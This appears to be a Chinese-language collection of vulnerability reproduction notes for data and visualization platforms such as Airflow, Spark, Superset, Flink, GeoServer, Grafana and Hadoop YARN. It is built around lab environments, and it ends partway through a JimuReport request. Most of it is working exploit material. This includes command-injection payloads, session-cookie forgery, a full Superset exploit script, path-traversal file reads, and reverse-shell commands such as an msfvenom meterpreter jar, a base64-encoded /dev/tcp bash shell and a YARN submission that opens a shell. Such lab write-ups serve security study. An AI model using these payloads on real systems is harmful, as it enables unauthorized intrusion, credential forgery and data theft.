数据处理与可视化
airflow
CVE-2020-11978
Apache Airflow 示例dag中的命令注入(CVE-2020-11978)
Apache Airflow是一款开源的,分布式任务调度框架。在其1.10.10版本及以前的示例DAG中存在一处命令注入漏洞,未授权的访问者可以通过这个漏洞在Worker中执行任意命令。
由于启动的组件比较多,可能会有点卡,运行此环境可能需要准备2G以上的内存。
参考链接:
- https://lists.apache.org/thread/cn57zwylxsnzjyjztwqxpmly0x9q5ljx
- https://github.com/pberba/CVE-2020-11978
漏洞环境
依次执行如下命令启动airflow 1.10.10:
#初始化数据库
docker compose run airflow-init
#启动服务
docker compose up -d
漏洞复现
访问http://your-ip:8080
进入airflow管理端,将example_trigger_target_dag
前面的Off改为On:
再点击执行按钮,在Configuration JSON中输入:{"message":"'\";touch /tmp/airflow_dag_success;#"}
,再点Trigger
执行dag:
等几秒可以看到执行成功:
到CeleryWorker容器中进行查看:
docker compose exec airflow-worker ls -l /tmp
可以看到touch /tmp/airflow_dag_success
成功被执行:
CVE-2020-11981
Apache Airflow Celery 消息中间件命令执行(CVE-2020-11981)
Apache Airflow是一款开源的,分布式任务调度框架。在其1.10.10版本及以前,如果攻击者控制了Celery的消息中间件(如Redis/RabbitMQ),将可以通过控制消息,在Worker进程中执行任意命令。
由于启动的组件比较多,可能会有点卡,运行此环境可能需要准备2G以上的内存。
参考链接:
- https://lists.apache.org/thread/cn57zwylxsnzjyjztwqxpmly0x9q5ljx
- https://github.com/apache/airflow/pull/9178
漏洞环境
依次执行如下命令启动airflow 1.10.10
#初始化数据库
docker compose run airflow-init
#启动服务
docker compose up -d
漏洞利用
利用这个漏洞需要控制消息中间件,Vulhub环境中Redis存在未授权访问。通过未授权访问,攻击者可以下发自带的任务airflow.executors.celery_executor.execute_command
来执行任意命令,参数为命令执行中所需要的数组。
我们可以使用exploit_airflow_celery.py这个小脚本来执行命令touch /tmp/airflow_celery_success
:
pip install redis
python exploit_airflow_celery.py [your-ip]
查看结果:
docker compose logs airflow-worker
可以看到如下任务消息:
docker compose exec airflow-worker ls -l /tmp
可以看到成功创建了文件airflow_celery_success
:
CVE-2020-17526
Apache Airflow 默认密钥导致的权限绕过(CVE-2020-17526)
Apache Airflow是一款开源的,分布式任务调度框架。默认情况下,Apache Airflow无需用户认证,但管理员也可以通过指定webserver.authenticate=True
来开启认证。
在其1.10.13版本及以前,即使开启了认证,攻击者也可以通过一个默认密钥来绕过登录,伪造任意用户。
参考链接:
- https://lists.apache.org/thread/rxn1y1f9fco3w983vk80ps6l32rzm6t0
- https://kloudle.com/academy/authentication-bypass-in-apache-airflow-cve-2020-17526-and-aws-cloud-platform-compromise
漏洞环境
执行如下命令启动一个Apache Airflow 1.10.10服务器:
#Initialize the database
docker compose run airflow-init
#Start service
docker compose up -d
服务器启动后,访问http://your-ip:8080
即可查看到登录页面。
漏洞利用
首先,我们访问登录页面,服务器会返回一个签名后的Cookie:
curl -v http://localhost:8080/admin/airflow/login
然后,使用flask-unsign这个工具来爆破签名时使用的SECRET_KEY
:
flask-unsign -u -c [session from Cookie]
Bingo,成功爆破出Key是temporary_key
。使用这个key生成一个新的session,其中伪造user_id
为1:
flask-unsign -s --secret temporary_key -c "{'user_id': '1', '_fresh': False, '_permanent': True}"
在浏览器中使用这个新生成的session,可见已成功登录:
Apache-Spark
CVE-2022-33891
Apache Spark doAs 远程命令执行漏洞
漏洞描述
Apache Spark 支持启动 ACL 来为 Web UI 访问提供身份验证,当 ACL 启动时可以通过构造特殊请求用户名导致 RCE
漏洞影响
网络测绘
漏洞复现
主页面
验证POC
/jobs/?doAs=`touch /tmp/test.txt`
SPARK-38631
Apache Spark unTarUsingTar 命令注入漏洞
漏洞描述
Apache Spark 是一种用于大数据工作负载的分布式开源处理系统。它使用内存中缓存和优化的查询执行方式,可针对任何规模的数据进行快速分析查询。它提供使用Java、Scala、Python 和 R 语言的开发 API,支持跨多个工作负载重用代码—批处理、交互式查询、实时分析、机器学习和图形处理等。当Spark任务的文件名可控时,Utils.unpack
采用命令拼接的形式对tar文件进行解压,存在任意命令注入的风险。这是源于Hadoop中unTar函数存在问题,在其执行shell命令之前未正确转义文件名,直接拼接命令导致任意命令注入。
漏洞影响
Apache Spark 3.1.2, 3.2.1, 3.3.0
漏洞复现
我们查看官方的修复补丁
官方修复针对.tar后缀的压缩包调用了新增的unTarUsingJava函数来进行处理,我们下载存在漏洞的版本看一下漏洞位置
hadoop-common-2.7.4.jar!/org/apache/hadoop/fs/FileUtil.class
可以看到漏洞主要出现在 Linux对文件的解压处理中
public static void unTar(File inFile, File untarDir) throws IOException {
if (!untarDir.mkdirs() && !untarDir.isDirectory()) {
throw new IOException("Mkdirs failed to create " + untarDir);
} else {
boolean gzipped = inFile.toString().endsWith("gz");
if (Shell.WINDOWS) {
unTarUsingJava(inFile, untarDir, gzipped);
} else {
unTarUsingTar(inFile, untarDir, gzipped);
}
}
}
这里我们控制压缩tar文件的文件名就可以进行命令注入
private static void unTarUsingTar(File inFile, File untarDir, boolean gzipped) throws IOException {
StringBuffer untarCommand = new StringBuffer();
if (gzipped) {
untarCommand.append(" gzip -dc '");
untarCommand.append(makeShellPath(inFile));
untarCommand.append("' | (");
}
untarCommand.append("cd '");
untarCommand.append(makeShellPath(untarDir));
untarCommand.append("' ; ");
untarCommand.append("tar -xf ");
if (gzipped) {
untarCommand.append(" -)");
} else {
untarCommand.append(makeShellPath(inFile));
}
String[] shellCmd = new String[]{"bash", "-c", untarCommand.toString()};
ShellCommandExecutor shexec = new ShellCommandExecutor(shellCmd);
shexec.execute();
int exitcode = shexec.getExitCode();
if (exitcode != 0) {
throw new IOException("Error untarring file " + inFile + ". Tar process exited with exit code " + exitcode);
}
}
创建Tar文件, 在使用 addArchive执行解压就可以注入恶意命令
touch '1\|{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC94eHgueHh4Lnh4eC54eHgvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}\|1.tar'
unacc
Apache Spark 未授权访问漏洞
Apache Spark是一款集群计算系统,其支持用户向管理节点提交应用,并分发给集群执行。如果管理节点未启动ACL(访问控制),我们将可以在集群中执行任意代码。
参考链接:
漏洞影响
网络测绘
漏洞环境
执行如下命令,将以standalone模式启动一个Apache Spark集群,集群里有一个master与一个slave:
docker compose up -d
环境启动后,访问http://your-ip:8080
即可看到master的管理页面,访问http://your-ip:8081
即可看到slave的管理页面。
漏洞利用
该漏洞本质是未授权的用户可以向管理节点提交一个应用,这个应用实际上是恶意代码。
提交方式有两种:
- 利用REST API
- 利用submissions网关(集成在7077端口中)
应用可以是Java或Python,就是一个最简单的类,如(参考链接1):
import java.io.BufferedReader;
import java.io.InputStreamReader;
public class Exploit {
public static void main(String[] args) throws Exception {
String[] cmds = args[0].split(",");
for (String cmd : cmds) {
System.out.println(cmd);
System.out.println(executeCommand(cmd.trim()));
System.out.println("==============================================");
}
}
// https://www.mkyong.com/java/how-to-execute-shell-command-from-java/
private static String executeCommand(String command) {
StringBuilder output = new StringBuilder();
try {
Process p = Runtime.getRuntime().exec(command);
p.waitFor();
BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
output.append(line).append("\n");
}
} catch (Exception e) {
e.printStackTrace();
}
return output.toString();
}
}
将其编译成JAR,放在任意一个HTTP或FTP上,如https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar
。
用REST API方式提交应用
standalone模式下,master将在6066端口启动一个HTTP服务器,我们向这个端口提交REST格式的API:
POST /v1/submissions/create HTTP/1.1
Host: your-ip:6066
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Content-Type: application/json
Connection: close
Content-Length: 680
{
"action": "CreateSubmissionRequest",
"clientSparkVersion": "2.3.1",
"appArgs": [
"whoami,w,cat /proc/version,ifconfig,route,df -h,free -m,netstat -nltp,ps auxf"
],
"appResource": "https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar",
"environmentVariables": {
"SPARK_ENV_LOADED": "1"
},
"mainClass": "Exploit",
"sparkProperties": {
"spark.jars": "https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar",
"spark.driver.supervise": "false",
"spark.app.name": "Exploit",
"spark.eventLog.enabled": "true",
"spark.submit.deployMode": "cluster",
"spark.master": "spark://your-ip:6066"
}
}
其中,spark.jars
即是编译好的应用,mainClass是待运行的类,appArgs是传给应用的参数。
返回的包中有submissionId,然后访问http://your-ip:8081/logPage/?driverId={submissionId}&logType=stdout
,即可查看执行结果:
注意,提交应用是在master中,查看结果是在具体执行这个应用的slave里(默认8081端口)。实战中,由于slave可能有多个。
利用submissions网关
如果6066端口不能访问,或做了权限控制,我们可以利用master的主端口7077,来提交应用。
方法是利用Apache Spark自带的脚本bin/spark-submit
:
bin/spark-submit --master spark://your-ip:7077 --deploy-mode cluster --class Exploit https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar id
# https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar
# Github代码为编译后的代码
import java.io.BufferedReader;
import java.io.InputStreamReader;
public class Exploit {
public static void main(String[] args) throws Exception {
String[] cmds = args[0].split(",");
for (String cmd : cmds) {
System.out.println(cmd);
System.out.println(executeCommand(cmd.trim()));
System.out.println("==============================================");
}
}
// https://www.mkyong.com/java/how-to-execute-shell-command-from-java/
private static String executeCommand(String command) {
StringBuilder output = new StringBuilder();
try {
Process p = Runtime.getRuntime().exec(command);
p.waitFor();
BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
output.append(line).append("\n");
}
} catch (Exception e) {
e.printStackTrace();
}
return output.toString();
}
}
如果你指定的master参数是rest服务器,这个脚本会先尝试使用rest api来提交应用;如果发现不是rest服务器,则会降级到使用submission gateway来提交应用。
查看结果的方式与前面一致。
Apache-Superset
CVE-2023-27524
SECRET_KEY 未授权访问漏洞
漏洞描述
Apache Superset 是一款现代化的开源大数据工具,也是企业级商业智能 Web 应用,用于数据探索分析和数据可视化。它提供了简单易用的无代码可视化构建器和声称是最先进的 SQL 编辑器,用户可以使用这些工具快速地构建数据仪表盘。CVE-2023-27524 中,未经授权的攻击者可根据默认配置的SECRET_KEY伪造成管理员用户访问Apache Superset。
漏洞影响
网络测绘
漏洞复现
登陆页面
漏洞修复补丁
https://github.com/apache/superset/pull/23186/files
补丁代码中,新建了判断用户是否使用了默认的Key进行配置,如果为默认的Key,就直接中断启动,。但在 Docker的 env 下还是添加了固定的 Key: TEST_NON_DEV_SECRET
# https://github.com/horizon3ai/CVE-2023-27524/blob/main/CVE-2023-27524.py
SECRET_KEYS = [
b'\x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h', # version < 1.4.1
b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET', # version >= 1.4.1
b'thisISaSECRET_1234', # deployment template
b'YOUR_OWN_RANDOM_GENERATED_SECRET_KEY', # documentation
b'TEST_NON_DEV_SECRET' # docker compose
]
这里拿Docker下的环境举例
初次请求时会获取到 Cookie, 使用默认Key验证 Cookie是否可被伪造
登陆主页面观察主要参数
通过设置参数 user_id 和 _user_id 为 1 ,构造加密Cookie
>>> from flask_unsign import session
>>> session.sign({'_user_id': 1, 'user_id': 1},'TEST_NON_DEV_SECRET')
'eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZE51uw.EdD7zSzojgY4keqZLOKR4GndJf8'
利用构造的 Cookie就可以获取到 Web后台管理权限, 后台中存在数据库语句执行模块,通过设置允许执行其他数据库语句后利用数据库语句 RCE
漏洞POC
from flask_unsign import session
import requests
import urllib3
import argparse
import re
from time import sleep
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
SECRET_KEYS = [
b'\x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h', # version < 1.4.1
b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET', # version >= 1.4.1
b'thisISaSECRET_1234', # deployment template
b'YOUR_OWN_RANDOM_GENERATED_SECRET_KEY', # documentation
b'TEST_NON_DEV_SECRET' # docker compose
]
def main():
parser = argparse.ArgumentParser()
parser.add_argument('--url', '-u', help='Base URL of Superset instance', required=True)
parser.add_argument('--id', help='User ID to forge session cookie for, default=1', required=False, default='1')
parser.add_argument('--validate', '-v', help='Validate login', required=False, action='store_true')
parser.add_argument('--timeout', '-t', help='Time to wait before using forged session cookie, default=5s', required=False, type=int, default=5)
args = parser.parse_args()
try:
u = args.url.rstrip('/') + '/login/'
headers = {
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:101.0) Gecko/20100101 Firefox/101.0'
}
resp = requests.get(u, headers=headers, verify=False, timeout=30, allow_redirects=False)
if resp.status_code != 200:
print(f'Error retrieving login page at {u}, status code: {resp.status_code}')
return
session_cookie = None
for c in resp.cookies:
if c.name == 'session':
session_cookie = c.value
break
if not session_cookie:
print('Error: No session cookie found')
return
print(f'Got session cookie: {session_cookie}')
try:
decoded = session.decode(session_cookie)
print(f'Decoded session cookie: {decoded}')
except:
print('Error: Not a Flask session cookie')
return
match = re.search(r'"version_string": "(.*?)"', resp.text)
if match:
version = match.group(1)
else:
version = 'Unknown'
print(f'Superset Version: {version}')
for i, k in enumerate(SECRET_KEYS):
cracked = session.verify(session_cookie, k)
if cracked:
break
if not cracked:
print('Failed to crack session cookie')
return
print(f'Vulnerable to CVE-2023-27524 - Using default SECRET_KEY: {k}')
try:
user_id = int(args.id)
except:
user_id = args.id
forged_cookie = session.sign({'_user_id': user_id, 'user_id': user_id}, k)
print(f'Forged session cookie for user {user_id}: {forged_cookie}')
if args.validate:
try:
headers['Cookie'] = f'session={forged_cookie}'
print(f'Sleeping {args.timeout} seconds before using forged cookie to account for time drift...')
sleep(args.timeout)
resp = requests.get(u, headers=headers, verify=False, timeout=30, allow_redirects=False)
if resp.status_code == 302:
print(f'Got 302 on login, forged cookie appears to have been accepted')
validated = True
else:
print(f'Got status code {resp.status_code} on login instead of expected redirect 302. Forged cookie does not appear to be valid. Re-check user id.')
except Exception as e_inner:
print(f'Got error {e_inner} on login instead of expected redirect 302. Forged cookie does not appear to be valid. Re-check user id.')
if not validated:
return
print('Enumerating databases')
for i in range(1, 101):
database_url_base = args.url.rstrip('/') + '/api/v1/database'
try:
r = requests.get(f'{database_url_base}/{i}', headers=headers, verify=False, timeout=30, allow_redirects=False)
if r.status_code == 200:
result = r.json()['result'] # validate response is JSON
name = result['database_name']
print(f'Found database {name}')
elif r.status_code == 404:
print(f'Done enumerating databases')
break # no more databases
else:
print(f'Unexpected error: status code={r.status_code}')
break
except Exception as e_inner:
print(f'Unexpected error: {e_inner}')
break
except Exception as e:
print(f'Unexpected error: {e}')
if __name__ == '__main__':
main()
Apache-Zeppelin
未授权任意命令执行漏洞
漏洞描述
Apache Zeppelin 存在未授权的用户访问命令执行接口,导致了任意用户都可以执行恶意命令获取服务器权限
漏洞影响
网络测绘
漏洞复现
含有漏洞的页面如下
点击 创建一个匿名用户在用户页面执行命令即可
Apache-ZooKeeper
CVE-2014-085
未授权访问漏洞
漏洞描述
默认安装配置完的zookeeper允许未授权访问,管理员未配置访问控制列表(ACL)。导致攻击者可以在默认开放的2181端口下通过执行envi命令获得大量敏感信息(系统名称、java环境)导致任意用户可以在网络不受限的情况下进行未授权访问读取数据
漏洞影响
漏洞复现
Apache ZooKeeper 默认开放2181端口
,使用如下命令获取敏感数据
echo envi | nc xxx.xxx.xxx.xxx 2181
其他信息
1、stat:列出关于性能和连接的客户端的统计信息。
echo stat |ncat 127.0.0.1 2181
2、ruok:测试服务器是否运行在非错误状态。
echo ruok |ncat 127.0.0.1 2181
3、reqs:列出未完成的请求。
echo reqs |ncat 127.0.0.1 2181
4、envi:打印有关服务环境的详细信息。
echo envi |ncat 127.0.0.1 2181
5、dump:列出未完成的会话和临时节点。
echo dump |ncat 127.0.0.1 2181
Cacti
CVE-2022-46169
Cacti remote_agent.php 远程命令执行漏洞
漏洞描述
Cacti是一个服务器监控与管理平台。在其1.2.17-1.2.22版本中存在一处命令注入漏洞,攻击者可以通过X-Forwarded-For请求头绕过服务端校验并在其中执行任意命令。
漏洞影响
网络测绘
漏洞复现
登陆页面
验证POC
GET /remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`id>1.txt`
X-Forwarded-For: 127.0.0.1
ffmpeg
CVE-2016-1897
ffmpeg 任意文件读取漏洞/SSRF漏洞 (CVE-2016-1897/CVE-2016-1898)
运行环境:
docker compose build
docker compose up -d
原理
- http://xdxd.love/2016/01/18/ffmpeg-SSRF%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/
- http://blog.neargle.com/SecNewsBak/drops/CVE-2016-1897.8%20-%20FFMpeg%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90.html
- http://habrahabr.ru/company/mailru/blog/274855/
测试过程
详见参考文章,不再赘述。
成功读取文件:
phdayseg
ffmpeg 任意文件读取漏洞环境
参考资料:
- http://bobao.360.cn/learning/detail/4032.html
- https://hackerone.com/reports/242831
- https://github.com/neex/ffmpeg-avi-m3u-xbin
环境搭建
编译及启动环境
docker compose build
docker compose up -d
环境启动后监听8080端口,访问http://your-ip:8080/
即可查看。
漏洞利用
漏洞原理不再赘述,直接下载exp,并生成payload:
# 下载exp
git clone https://github.com/neex/ffmpeg-avi-m3u-xbin
cd ffmpeg-avi-m3u-xbin
# 生成payload
./gen_xbin_avi.py file:///etc/passwd exp.avi
生成exp.avi,在http://your-ip:8080/
上传。后端将会将你上传的视频用ffmpeg转码后显示,转码时因为ffmpeg的任意文件读取漏洞,可将文件信息读取到视频中:
你也可以执行docker compose exec web bash
进入本环境内部,测试ffmpeg。
flink
CVE-2020-17518
Apache Flink 路径遍历漏洞 (CVE-2020-17518)
Apache Flink 是一个开源流处理框架,具有强大的流处理和批处理功能。
在 Apache Flink 1.5.1 中引入了一个 REST 处理程序,通过恶意修改的 HTTP 头部,允许将上传的文件写入本地文件系统上的任意位置。
参考资料:
- https://github.com/apache/flink/commit/a5264a6f41524afe8ceadf1d8ddc8c80f323ebc4
- https://nvd.nist.gov/vuln/detail/CVE-2020-17518
漏洞影响
网络测绘
环境搭建
执行以下命令启动 Apache Flink jobmanager 1.11.2:
复制代码
docker compose up -d
Apache Flink 启动后,访问 http://your-ip:8081
查看主页。
漏洞利用
点击查看文件上传页面
打开MSF 生成一个 jar 木马
msfvenom -p java/meterpreter/reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=4444 -f jar > test.jar
点击 Add 上传 jar 文件
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload java/shell/reverse_tcp
payload => java/shell/reverse_tcp
msf6 exploit(multi/handler) > set lhost xxx.xxx.xxx.xxx
lhost => xxx.xxx.xxx.xxx
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > run
点击下 submit
使用以下请求将文件上传 /tmp/success
:
POST /jars/upload HTTP/1.1
Host: localhost:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Length: 187
------WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/success"
success
------WebKitFormBoundaryoZ8meKnrrso89R6Y--
CVE-2020-17519
Apache Flink jobmanager/logs
路径遍历漏洞 (CVE-2020-17519)
Apache Flink 是一个开源流处理框架,具有强大的流处理和批处理功能。
在 Apache Flink 1.11.0 中引入的一个更改(在 1.11.1 和 1.11.2 中也发布)允许攻击者通过 JobManager 进程的 REST 接口读取 JobManager 本地文件系统上的任何文件。
参考资料:
- https://github.com/apache/flink/commit/b561010b0ee741543c3953306037f00d7a9f0801
- https://nvd.nist.gov/vuln/detail/CVE-2020-17519
环境搭建
执行以下命令启动 Apache Flink jobmanager 1.11.2:
docker compose up -d
Apache Flink 启动后,访问 http://your-ip:8081
查看主页。
漏洞利用
通过以下请求泄露 /etc/passwd
文件内容:
http://your-ip:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd
geoserver
CVE-2023-25157
GeoServer OGC Filter SQL注入漏洞(CVE-2023-25157)
GeoServer 是 OpenGIS Web 服务器规范的 J2EE 实现,利用 GeoServer 可以方便的发布地图数据,允许用户对特征数据进行更新、删除、插入操作。
在版本2.22.1和2.21.4及以前,多个OGC表达式中均存在SQL注入漏洞。
参考链接:
- https://github.com/murataydemir/CVE-2023-25157-and-CVE-2023-25158
- https://github.com/advisories/GHSA-7g5f-wrx8-5ccf
漏洞环境
执行如下命令启动一个GeoServer 2.22.1:
docker compose up -d
环境启动后,访问http://your-ip:8080/geoserver
即可查看到GeoServer的首页。
漏洞复现
在利用漏洞前,需要目标服务器中存在类型是PostGIS的数据空间(datastore)和工作空间(workspace)。在Vulhub中,已经包含满足条件的工作空间,其信息如下:
- Workspace name:
vulhub
- Data store name:
pg
- Feature type (table) name:
example
- One of attribute from feature type:
name
利用这些已知参数,发送如下URL即可触发SQL注入漏洞:
http://your-ip:8080/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=vulhub:example&CQL_FILTER=strStartsWith%28name%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+version()%29+AS+integer%29%29+--+%27%29+%3D+true
可见,已经使用SQL注入获取到了目标服务器PostgreSQL的版本。
CVE-2024-36401
GeoServer 属性名表达式前台代码执行漏洞(CVE-2024-36401)
GeoServer 是 OpenGIS Web 服务器规范的 J2EE 实现,利用 GeoServer 可以方便的发布地图数据,允许用户对特征数据进行更新、删除、插入操作。
在GeoServer 2.25.1, 2.24.3, 2.23.5版本及以前,未登录的任意用户可以通过构造恶意OGC请求,在默认安装的服务器中执行XPath表达式,进而利用执行Apache Commons Jxpath提供的功能执行任意代码。
参考链接:
- https://github.com/geoserver/geoserver/security/advisories/GHSA-6jj6-gm7p-fcvv
- https://github.com/geotools/geotools/security/advisories/GHSA-w3pj-wh35-fq8w
- https://tttang.com/archive/1771/
- https://github.com/Warxim/CVE-2022-41852
漏洞环境
执行如下命令启动一个GeoServer 2.23.2服务器:
docker compose up -d
服务启动后,你可以在http://your-ip:8080/geoserver
查看到GeoServer的默认页面。
漏洞复现
在官方漏洞通告中提到可以找到漏洞相关的WFS方法:
No public PoC is provided but this vulnerability has been confirmed to be exploitable through WFS GetFeature, WFS GetPropertyValue, WMS GetMap, WMS GetFeatureInfo, WMS GetLegendGraphic and WPS Execute requests.
比如,我这里使用GetPropertyValue
来执行xpath表达式。参考官方文档,我构造了两个POC。基于GET方法的POC:
GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),'touch%20/tmp/success1') HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0
基于POST方法的POC:
POST /geoserver/wfs HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/xml
Content-Length: 356
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'>
<wfs:Query typeNames='sf:archsites'/>
<wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'touch /tmp/success2')</wfs:valueReference>
</wfs:GetPropertyValue>
熟悉的java.lang.ClassCastException
错误,说明命令已执行成功。
进入容器可见,touch /tmp/success1
与touch /tmp/success2
均已成功执行。
值得注意的是,typeNames必须存在,我们可以在Web页面中找到当前服务器中的所有Types:
grafana
admin-ssrf
Grafana管理后台SSRF
Grafana是一个开源的度量分析与可视化套件。在其管理后台中存在一个功能,攻击者可以用于向任意地址发送HTTP请求,且支持自定义HTTP Header。
参考链接:
漏洞环境
执行如下命令启动一个Grafana 8.5.4:
docker compose up -d
环境启动后,访问http://your-ip:3000
即可查看到管理后台。这个管理后台是不需要登录的,因为Vulhub环境设置了匿名用户的权限:
[auth.anonymous]
enabled = true
org_role = Admin
在真实场景中,如果你没有权限访问管理界面,可以尝试使用默认账号密码admin
和admin
,只能能够成功登录后台的用户才能利用这个漏洞。
漏洞复现
使用这个POC来复现SSRF漏洞:
python grafana-ssrf.py -H http://your-ip:3000 -u http://example.interact.sh/attack
可见,我们的反连平台已成功收到了HTTP请求:
CVE-2019-19499
Grafana mysql 后台任意文件读取漏洞
漏洞描述
Grafana 是一个用于分析、监控和数据可视化的开源应用程序。数以千计的公司使用 Grafana,包括 PayPal、eBay 和 Intel 等主要代表。通过登录后台设置Mysql可以读取服务器中的任意文件
漏洞影响
环境搭建
docker pull grafana/grafana:6.4.3
docker run -d --name=grafana -p 3000:3000 grafana/grafana:6.4.3
漏洞复现
登录后台 admin/admin, 添加数据源 Mysql
修复部分为 database数据库名的用户可控部分,由于 allowAllFiles=true 参数可以禁用对 LOCAL INFILE 请求的保护,再通过之前有关Mysql任意文件读取的漏洞即可获取服务器中的任意文件
再创建一个恶意Mysql: https://github.com/allyshka/Rogue-MySql-Server
执行 Save 即可读取文件
CVE-2021-43798
Grafana 8.x 插件模块目录穿越漏洞(CVE-2021-43798)
Grafana是一个开源的度量分析与可视化套件。在2021年12月,推特用户@j0v 发表了他发现的一个0day,攻击者利用这个漏洞可以读取服务器上的任意文件。
参考链接:
- https://grafana.com/blog/2021/12/07/grafana-8.3.1-8.2.7-8.1.8-and-8.0.7-released-with-high-severity-security-fix/
- https://twitter.com/hacker_/status/1467880514489044993
- https://nosec.org/home/detail/4914.html
- https://mp.weixin.qq.com/s/dqJ3F_fStlj78S0qhQ3Ggw
漏洞影响
网络测绘
漏洞环境
执行如下命令启动一个Grafana 8.2.6版本服务器:
docker compose up -d
服务启动后,访问http://your-ip:3000
即可查看登录页面,但是这个漏洞是无需用户权限的。
漏洞复现
这个漏洞出现在插件模块中,这个模块支持用户访问插件目录下的文件,但因为没有对文件名进行限制,攻击者可以利用../
的方式穿越目录,读取到服务器上的任意文件。
利用这个漏洞前,我们需要先获取到一个已安装的插件id,比如常见的有:
alertlist
cloudwatch
dashlist
elasticsearch
graph
graphite
heatmap
influxdb
mysql
opentsdb
pluginlist
postgres
prometheus
stackdriver
table
text
再发送如下数据包,读取任意文件(你也可以将其中的alertlist
换成其他合法的插件id):
GET /public/plugins/alertlist/../../../../../../../../../../../../../etc/passwd HTTP/1.1
Host: 192.168.1.112:3000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Connection: close
hadoop
unauthorized-yarn
Hadoop YARN ResourceManager 未授权访问
原理
描述
Hadoop Yarn RPC未授权访问漏洞存在于Hadoop Yarn中负责资源管理和任务调度的ResourceManager,成因是该组件为用户提供的RPC服务默认情况下无需认证即可访问,
漏洞影响
网络测绘
测试环境
运行测试环境
docker compose up -d
环境启动后,访问http://your-ip:8088
即可看到Hadoop YARN ResourceManager WebUI页面。
利用
主页面
验证请求包
POST /ws/v1/cluster/apps HTTP/1.1
Host:
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 215
Content-Type: application/json
{"application-id": "application_1655112607010_0005", "application-name": "get-shell", "am-container-spec": {"commands": {"command": "/bin/bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/9998 0>&1"}}, "application-type": "YARN"}
利用方法和原理中有一些不同。在没有 hadoop client 的情况下,直接通过 REST API
(https://hadoop.apache.org/docs/r2.7.3/hadoop-yarn/hadoop-yarn-site/ResourceManagerRest.html) 也可以提交任务执行。
利用过程如下:
- 在本地监听等待反弹 shell 连接
- 调用 New Application API 创建 Application
- 调用 Submit Application API 提交
参考 exp 脚本
Hue
Hue 后台编辑器 远程命令执行漏洞
漏洞描述
Hue 后台编辑器存在命令执行漏洞,攻击者通过编辑上传 xxx.sh 文件即可达到命令执行的目的
漏洞影响
Hue 后台编辑器
网络测绘
漏洞复现
登录页面如下
上传并编辑文件为执行的命令
按如下步骤点击即可执行想要执行的命令
jimureport
CVE-2023-4450
JimuReport FreeMarker 服务端模板注入命令执行(CVE-2023-4450)
积木报表(JimuReport)是一个开源的数据可视化报表平台。在其1.6.0版本及以前,存在一个FreeMarker服务端模板注入(SSTI)漏洞,攻击者利用该漏洞可在服务器中执行任意命令。
参考链接:
漏洞环境
执行如下命令启动一个JimuReport 1.6.0演示服务器:
docker compose up -d
等待一段时间后,访问http://your-ip:8085
即可看到报表首页。
漏洞复现
发送如下请求,即可在服务端注入FreeMarker模板<#assign ex="freemarker.template.utility.Execute"?new()> ${ex("id")}
:
POST /jmreport/queryFieldBySql HTTP/1.1
Host: localhost:8085
Accept-Encoding: gzip, deflate, br
